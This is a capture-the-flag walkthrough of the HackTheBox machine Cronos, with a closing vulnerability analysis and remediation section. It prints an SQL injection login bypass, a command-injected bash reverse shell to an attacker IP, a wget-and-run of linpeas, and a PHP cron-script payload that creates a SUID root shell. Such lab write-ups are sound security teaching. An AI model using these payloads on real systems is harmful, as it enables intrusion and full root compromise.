Cronos - HTB Medium Machine

OS Linux
Difficulty Medium
User Owns 14.3K
Root Owns 13.4K
Rating 4.9/5
Release 2017/03/22
Creator ch4p
First Blood User v4l3r0n
First Blood Root v4l3r0n
User Rated Difficulty

About

CronOS focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability.

Exploitation

Enumeration

The nmap results showed several open ports: 22 (SSH), 53 (DNS), and 80 (HTTP). The DNS service, running ISC BIND 9.10.3-P4, immediately stood out as a primary vector for further enumeration.

PORT      STATE  SERVICE         VERSION  
22/tcp    open   ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)  
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)  
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)  
53/tcp    open   domain          ISC BIND 9.10.3-P4 (Ubuntu Linux)  
| dns-nsid:    
|_  bind.version: 9.10.3-P4-Ubuntu  
80/tcp    open   http            Apache httpd 2.4.18 ((Ubuntu))  
|_http-title: Apache2 Ubuntu Default Page: It works  
|_http-server-header: Apache/2.4.18 (Ubuntu)  
11623/tcp closed emc-xsw-dconfig  
34715/tcp closed unknown  
48514/tcp closed unknown  
58754/tcp closed unknown  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

By performing a reverse DNS lookup against the target's IP address, the domain name cronos.htb was discovered.

└─ $ nslookup    
> server 10.10.10.13  
Default server: 10.10.10.13  
Address: 10.10.10.13#53  
> 10.10.10.13  
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.

With the domain name identified, I checked if the DNS server was misconfigured to allow DNS Zone Transfers (AXFR). This technique can reveal all DNS records for a given domain. The attempt was successful, exposing several subdomains.

┌── ➤ cronos  
└─ $ dig axfr cronos.htb @10.10.10.13  
  
; <<>> DiG 9.20.13 <<>> axfr cronos.htb @10.10.10.13  
;; global options: +cmd  
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800  
cronos.htb.             604800  IN      NS      ns1.cronos.htb.  
cronos.htb.             604800  IN      A       10.10.10.13  
admin.cronos.htb.       604800  IN      A       10.10.10.13  
ns1.cronos.htb.         604800  IN      A       10.10.10.13  
www.cronos.htb.         604800  IN      A       10.10.10.13  
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800  
;; Query time: 477 msec  
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)  
;; WHEN: Sun Sep 28 17:12:04 -03 2025  
;; XFR size: 7 records (messages 1, bytes 203)

To ensure proper resolution, I added all discovered domains to my local /etc/hosts file.

echo "10.10.10.13 cronos.htb admin.cronos.htb ns1.cronos.htb www.cronos.htb" | sudo tee -a /etc/hosts

To confirm no other subdomains existed, I ran a brute-force enumeration using ffuf. The results did not reveal any new subdomains beyond what the zone transfer had already provided. The -fs 11439 filter was used to hide the default "It works" page response.

└─ $ ffuf -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://cronos.htb -H 'Ho  
st: FUZZ.cronos.htb' -t 50 -fs 11439  
  
       /'___\  /'___\           /'___\          
      /\ \__/ /\ \__/  __  __  /\ \__/          
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\         
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/         
        \ \_\   \ \_\  \ \____/  \ \_\          
         \/_/    \/_/   \/___/    \/_/          
  
      v2.1.0-dev  
________________________________________________  
  
:: Method           : GET  
:: URL              : http://cronos.htb  
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt  
:: Header           : Host: FUZZ.cronos.htb  
:: Follow redirects : false  
:: Calibration      : false  
:: Timeout          : 10  
:: Threads          : 50  
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500  
:: Filter           : Response size: 11439  
________________________________________________  
  
admin                   [Status: 200, Size: 1547, Words: 525, Lines: 57, Duration: 203ms]  
www                     [Status: 200, Size: 2319, Words: 990, Lines: 86, Duration: 5197ms]  
:: Progress: [114438/114438] :: Job [1/1] :: 242 req/sec :: Duration: [0:07:36] :: Errors: 0 ::

The main page at http://cronos.htb was a static site with external links, offering no clear path for exploitation.

Screenshot

However, navigating to admin.cronos.htb revealed a login form, which presented a promising attack surface.

Screenshot

Foothold

I attempted a basic SQL Injection attack on the login form using the classic tautology payload admin' OR '1'='1. This successfully bypassed authentication.

Screenshot

The authenticated page provided a network utility tool that could execute ping and traceroute commands.

  • ping: Sends ICMP echo request packets to a target host to test connectivity and measure round-trip time.
  • traceroute: Maps the network path (route) that packets take to a destination, showing each hop along the way.
Screenshot

This type of functionality is often vulnerable to Command Injection. By appending a semicolon (;) followed by a shell command, it's possible to trick the backend into executing arbitrary code. I confirmed this by injecting the id command, which returned the user ID of the web server process.

Screenshot

With command injection confirmed, the next step was to establish a reverse shell. First, I set up a netcat listener on my attacker machine to catch the incoming connection on port 9001.

Screenshot

Next, I crafted a bash reverse shell payload and injected it into the web form. This command instructs the target server to execute a new bash shell and redirect its standard input, output, and error streams to my listening machine.

#Listener command on attacker machine
nc -lvnp 9001

#Payload injected into the web form
10.10.16.4; bash -c "bash -i >& /dev/tcp/10.10.16.4/9001 0>&1"

The connection was successful, providing a shell as the www-data user. To improve the usability of this basic shell, I upgraded it to a fully interactive TTY.

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL Z
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Tip

to know more about how this is done, check this cookbook page.

The successful connection granted initial access to the system.

┌── ➤ cronos  
└─ $ nc -lvnp 9001  
Listening on 0.0.0.0 9001  
Connection received on 10.10.10.13 52404  
www-data@cronos:/var/www/admin$ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@cronos:/var/www/admin$

USER

With a stable shell as the www-data user, I navigated the file system to locate the user flag. It was found in the home directory of the user noulis.

www-data@cronos:/home/noulis$ cat user.txt    
b5e18fa8f4243683759f.....

Privilege Escalation

After gaining initial access as the www-data user, the next objective was to escalate privileges to root. The enumeration began by searching for sensitive information in application configuration files. A review of /var/www/admin/config.php revealed hardcoded database credentials.

www-data@cronos:/var/www/admin$ cat config.php    
<?php  
  define('DB_SERVER', 'localhost');  
  define('DB_USERNAME', 'admin');  
  define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');  
  define('DB_DATABASE', 'admin');  
  $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);  
?>

Although the password for the admin database user was found, it could not be used to directly access the MySQL service as the current www-data user.

www-data@cronos:/var/www/admin$ mysql  
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: NO)

Attempts to reuse this password for SSH access with the root, noulis, and www-data users were also unsuccessful.

To conduct a more thorough search for vulnerabilities, I downloaded and executed the linpeas.sh enumeration script. I hosted the script on my local machine using a simple Python web server and downloaded it to the target's /tmp directory.

On the attacker machine:

sudo python3 -m http.server 8001

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

On the target machine:

wget http://10.10.16.4:8001/linpeas.sh

bash linpeas.sh

Analyzing the linpeas output revealed a significant finding: a cron job configured to run every minute with root privileges.

Screenshot Screenshot

The critical vulnerability here is that the script executed by root /var/www/laravel/artisan was writable by the www-data user. This misconfiguration meant I could modify the script's content and have it executed as root the next time the cron job ran.

To exploit this, I replaced the contents of the artisan script with a PHP payload designed to create a copy of the bash shell with the SUID (Set User ID) bit set.

#!/usr/bin/env php  
<?php  
  
exec('cp /bin/bash /tmp/nika; chown root:root /tmp/nika; chmod 4777 /tmp/nika');  
/*  
|--------------------------------------------------------------------------  
| Register The Auto Loader  
|--------------------------------------------------------------------------

This payload performs three actions:

  1. cp /bin/bash /tmp/nika: Copies the bash binary to /tmp/nika.
  2. chown root:root /tmp/nika: Sets the owner of the new binary to root.
  3. chmod 4777 /tmp/nika: Sets the SUID bit (4) and makes the file executable for all users (777). When a file with the SUID bit is run, it executes with the permissions of its owner (root) rather than the user who ran it.

After waiting a minute for the cron job to execute, the new binary appeared in the /tmp directory.

www-data@cronos:/var/www/laravel$ ls /tmp  
nika  
systemd-private-1523a4eb13ef412a95bb323abc87bab3-systemd-timesyncd.service-9A4pQu 
tmux-33  
vmware-root

Executing this newly created binary with the -p flag (to preserve the effective user ID) successfully provided a shell with root privileges.

www-data@cronos:/var/www/laravel$ /tmp/nika -p  
nika-4.3# whoami  
root

ROOT

With full root access achieved, I could now read the final flag from the /root directory, completing the challenge.

nika-4.3# cat root.txt    
a8137fb4c178b12e.....

Vulnerability Analysis

DNS Zone Transfer Information Disclosure

An improperly configured DNS server allowed for a full zone transfer (AXFR). This was identified using the dig command and revealed the existence of several subdomains, including admin.cronos.htb, which was not publicly linked. The impact of this information leak was the discovery of a hidden administrative attack surface that served as the entry point for the initial compromise.

SQL Injection Authentication Bypass

The administrative login panel at admin.cronos.htb was vulnerable to a basic SQL injection. By inputting a simple tautological payload (admin' OR '1'='1). This compromised the confidentiality and integrity of the administrative section of the application.

Operating System Command Injection

The network utility within the admin panel failed to sanitize user-supplied input before passing it to a system shell for execution. This flaw was exploited by appending a semicolon (;) and a shell command to the input, resulting in remote code execution (RCE). The impact was initial access to the server with the privileges of the web server user (www-data).

Insecure File Permissions Leading to Privilege Escalation

A script (/var/www/laravel/artisan) was configured to run as root via a cron job every minute. However, the file itself was writable by the low-privileged www-data user. By overwriting the script with a malicious payload, it was possible to execute arbitrary commands as the root user, leading to a full system compromise and total loss of confidentiality, integrity, and availability.

Vulnerability Remediation

Restricting DNS Zone Transfers

To the Sysadmin: Configure your DNS server to deny public zone transfer requests. AXFR queries should only be permitted from the IP addresses of trusted secondary DNS servers. This prevents attackers from easily mapping your internal network infrastructure.

Preventing SQL Injection

To the Developer: The application's database queries must be rewritten to use prepared statements with parameterized queries. This practice ensures that user input is always treated as data, never as executable SQL code, completely mitigating the risk of injection-based authentication bypass.

Sanitizing Input for Command Execution

To the Developer: The network utility must strictly validate and sanitize all user input before use. For a ping utility, create a whitelist of allowed characters for hostnames or use a regular expression to validate IP addresses. Better yet, avoid calling a generic system shell and instead use language-specific functions or libraries that execute commands more safely.

Enforcing Secure File Permissions

To the Sysadmin: Apply the principle of least privilege to all files executed by cron jobs. The /var/www/laravel/artisan script should be owned by root and made non-writable by any other user (e.g., chown root:root /path/to/artisan and chmod 755 /path/to/artisan). System-critical files must never be modifiable by low-privilege accounts like www-data.

References

the master 0xdf
linpeas